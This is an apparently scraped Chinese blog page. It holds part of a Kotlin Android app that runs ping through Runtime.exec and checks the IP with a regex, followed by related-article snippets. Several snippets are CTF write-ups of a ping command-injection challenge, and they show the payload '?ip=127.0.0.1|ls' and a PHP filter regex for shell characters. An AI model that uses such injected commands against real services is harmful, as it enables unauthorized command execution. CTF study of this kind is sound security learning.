                runOnUiThread { Toast.makeText(this, "请输入IP", Toast.LENGTH_SHORT).show() }
                return
            }
            if (sizeStr.isBlank()) {
                runOnUiThread { Toast.makeText(this, "请输入数据包大小", Toast.LENGTH_SHORT).show() }
                return
            }
            if (time.isBlank()) {
                runOnUiThread { Toast.makeText(this, "请输入要ping多久", Toast.LENGTH_SHORT).show() }
                return
            }
    
            if (!isValidIpAddress(ip)) {
                runOnUiThread {
                    AlertDialog.Builder(this)
                        .setTitle("提示")
                        .setMessage("您输入的IP地址格式有误,请修正!")
                        .show()
                }
                return
            }
    
            runOnUiThread {
                binding.btnStartPing.isEnabled = false
                lines.clear()
                addData("Ping开始")
            }
    
            val size = sizeStr.toInt() - 8
            val command = "ping -s $size -w $time $ip"
    
            // 注:正常ping数据和错误ping数据可能会交替输出,所以需要开两个线程同时读取
            val process = Runtime.getRuntime().exec(command)
            val inputStreamThread = readData(process.inputStream) // 读取正常ping数据
            val errorStreamThread = readData(process.errorStream) // 读取错误ping数据
    
            // 等待两个读取线程结束
            inputStreamThread.join()
            errorStreamThread.join()
    
            runOnUiThread {
                addData("Ping结束")
                binding.btnStartPing.isEnabled = true
            }
        }
    
        private fun readData(inputStream: InputStream?) = thread {
            try {
                BufferedReader(InputStreamReader(inputStream)).use { reader ->
                    var line: String?
                    while (reader.readLine().also { line = it } != null) {
                        val lineTemp = line!!
                        runOnUiThread { addData(lineTemp) } // 这里切换到了UI线程,子线程继续执行时可以已经把line对象又赋值为null了,所以使用了lineTemp来预防值被重新赋值
                    }
                }
            } catch (e: Exception) {
                runOnUiThread { addData("出现异常:${e.javaClass.simpleName}: ${e.message}") }
            }
        }
    
        private fun addData(data: String) {
            lines.add(data)
            refreshListView()
        }
    
        private fun refreshListView() {
            mAdapter.notifyDataSetChanged()
            binding.recyclerView.scrollToPosition(lines.size - 1)
        }
    
        /**
         * 验证给定的ip地址是否有效
         * @param ip
         */
        private fun isValidIpAddress(ip: String?): Boolean {
            if (ip.isNullOrBlank()) return false
            val regex = "(2(5[0-5]{1}|[0-4]\\d{1})|[0-1]?\\d{1,2})(\\.(2(5[0-5]{1}|[0-4]\\d{1})|[0-1]?\\d{1,2})){3}"
            val pattern = Pattern.compile(regex)
            val matcher = pattern.matcher(ip)
            return matcher.matches()
        }
    
        internal inner class MyViewHolder(itemView: View) : RecyclerView.ViewHolder(itemView) {
            var textView: TextView = itemView.findViewById(android.R.id.text1) as TextView
        }
    
        internal inner class MyAdapter : RecyclerView.Adapter<MyViewHolder>() {
    
            override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): MyViewHolder {
                return MyViewHolder(View.inflate(parent.context, android.R.layout.simple_list_item_1,null))
            }
    
            override fun onBindViewHolder(holder: MyViewHolder, position: Int) {
                holder.textView.text = lines[position]
            }
    
            override fun getItemCount(): Int {
                return lines.size
            }
        }
    }
    

    也可从码云中下载完整代码:https://gitee.com/daizhufei/android-ping

    展开全文
  • Ping

    千次阅读 2018-11-26 19:06:57
    Ping ping是定位网络通不通的一个重要手段。ping是用来探测本机与网络中另一主机之间是否可达的命令,如果两台主机之间ping不通,则表明这两台主机不能建立起连接。 ping 命令是基于 ICMP 协议来工作的,「 ICMP 」...
  • H3C经典Ping命令详解

    热门讨论 2015-07-14 22:07:50
    H3C经典Ping命令详解,简单实用,免费下载
  • buuctf[GXYCTF2019]Ping Ping Ping

    千次阅读 2022-03-21 20:24:24
    buuctf[GXYCTF2019]Ping Ping Ping 这个题目的标题是pingping盲猜是关于命令执行的题目 打开环境后 只有一个/ip=? 应该是提示用get的方式来传参一个地址执行ping的操作 直接ping127.0.0.1 回显ping127.0.0.1的数据...
  • [GXYCTF2019]Ping Ping Ping 1

    千次阅读 2022-04-10 10:24:40
    题目[GXYCTF2019]Ping Ping Ping 1 题目来源:https://buuoj.cn/challenges#[GXYCTF2019]Ping%20Ping%20Ping 分析过程 进入靶场,看见如图提示 在url中输入:view-source:...
  • Ping Ping Ping—命令执行

    千次阅读 2022-02-23 21:34:45
    ip= PING 127.0.0.1 (127.0.0.1): 56 data bytes /?ip= |\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); die(...
  • Linux之ping命令

    千次阅读 2021-08-09 22:48:55
    ping命令是用于排除故障,测试和诊断网络连接问题的最常用的命令之一。 Ping通过将一个或多个ICMP(Internet控制消息协议)Echo请求包发送到指定目标IP并等待回复来工作。当目标IP收到包时,它将响应ICMP回复。 ...
  • ping丢包故障处理方法

    千次阅读 2021-05-17 18:51:23
    ping丢包故障处理方法1、Ping丢包故障定位思路故障分析Ping丢包是指Ping报文在网络中传输,由于各种原因(如线路过长、网络拥塞等)而产生部分Ping报文丢弃的现象。在使用Ping命令,出现Ping丢包的现象时,第一步需要...
  • Android 模拟Ping命令,获取ping

    热门讨论 2012-12-04 16:53:19
    执行Ping命令并获取ping返回包,检查网络状况
  • BUUCTF [GXYCTF2019]Ping Ping Ping 1

    千次阅读 2022-03-11 15:57:40
    [GXYCTF2019]Ping Ping Ping 1 在本题我们考察的是命令执行 已进入本关,我们发现他在询问 ?ip 我们先尝试输入 ?ip=127.0.0.1 发现访问成功 查询一下它的目录: ?ip=127.0.0.1|ls 发现有两个文件夹flag.php,index...
  • window ping命令加时间并记录日志

    热门讨论 2014-01-26 16:14:41
    用操作系统的ping命令可以查看网络是否良好,但是如果想一直查看,记录日志是最好的选择。自带的不能记录日志,用shell脚本比较麻烦而且没有ping的时间记录,这个小工具或许能解决你的问题,自定义日志文件路径配置...
  • ping命令测试网络The ping command sends packets of data to a specific IP address on a network, and then lets you know how long it took to transmit that data and get a response. It’s a handy tool that ...
  • linux ping命令详解

    千次阅读 2021-05-12 06:08:34
    一、ping命令的原理和工作机制ping命令一般用于检测网络通与不通,也叫时延,其值越大,速度越慢PING(PacketInternet Grope),因特网包探索器,用于测试网络连接量的程序。ping发送一个ICMP回声请求消息给目的地并...
  • BUUCTF Web [GXYCTF2019]Ping Ping Ping

    万次阅读 2021-10-28 16:20:45
    [GXYCTF2019]Ping Ping Ping一、题目简介二、思路分析1)多命令执行2)绕过空格3)绕过flag三、解题步骤1)查看当前目录2)查看文件内容3)flag 在注释中四、总结 一、题目简介 进入连接后是一个「ping」的功能,...
  • MAC ping IP 地址(ping通/ping不通)

    千次阅读 2021-08-02 10:05:22
    2.后台服務器有問題(其中有一種情況 是IP 地址不正確或者網絡連接不通,這可以用 ping IP 來測試 注:ping不通絕大多數問題是以上兩種情況,但也不全是,有可能是路由器或者電腦防火牆設置防ping)如果你的客戶端沒問...
  • Ping指定IP并输出带每条Ping记录时间的文档
  • 在对以太网网络上的通信问题进行故障排除时,Ping命令是最广泛使用的诊断工具之一。这种受欢迎程度是因为每个人都知道如何使用命令,执行起来非常简单。在对通信问题进行故障排除时,我们在无法正常工作时听到的最...
  • linux中的ping命令的详细解释

    千次阅读 2021-05-10 06:19:51
    一、linux中的ping命令的详细解释1.命令格式:ping [参数] [主机名或ip地址]2.命令功能:ping命令用于:确定网络和各外部主机的状态;跟踪和隔离硬件和软件问题;测 试、评估和管理网络。如果主机正在运行...
  • CentOS7里ping命令详解

    千次阅读 2022-05-03 12:41:02
    ping 功能简述:Linux系统的ping命令是常用的网络命令,它通常用来测试与目标主机的连通性,我们经常会说“ping一下某机器,看是不是开着”、不能打开网页时会说“你先ping网关地址192.168.1.1试试”。它通过发送...
  • Ping命令使用小技巧

    千次阅读 2021-07-31 05:45:06
    win7系统中,ping命令的使用可以说是网络故障的宿敌,在ping命令的操作下,各种网络故障都能够被轻松排查,一键重装系统 小编来讲解一下Ping命令使用小技巧吧。Ping命令使用时需要注意:成功地与另一台主机进行一次...
  • ping命令的使用

    千次阅读 2022-05-30 21:22:14
    ping命令的使用 一、ping命令的基本概念 ping是一个十分基本但又十分重要的TCPIP网络工具。它的作用主要为: (1)通常用来检测网络的连通情况和测试网络速度; (2)也可以根据域名得到相应主机的IP地址; (3)根据ping...
  • win10 ping命令:如何ping网速和ping各个参数命令解释,ping命令是个使用频率极高的网络诊断工具,在Windows、Unix和linux系统下均适用。它是TCP/IP协议的一部分,用于确定本地主机是否能与另一台主机交换数据报。...
  • Python 如何 ping

    万次阅读 多人点赞 2020-10-10 19:38:10
    背景 最近需要监测一个服务器的运行状态。...ping 的原理就是发送一份 ICMP 回显请求报文给目标主机,并等待目标主机返回ICMP回显应答。 如果想要自己写,可以自己控制发报文,这里推荐一篇博客大家可以自行
  • 如何ping服务器线路?ping命令的用法

    千次阅读 2021-08-01 04:41:55
    ping是我们平时最常用的一个检测网络线路的工具,可以通过ping查看线路是否是通的,是否丢包,延迟高低,速度快慢等。不过对于一些刚入门的新客户来说可能还是有点陌生,不甚了解,今天主要讲一下ping的使用方法以及...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 594,341
精华内容 237,736
关键字:

ping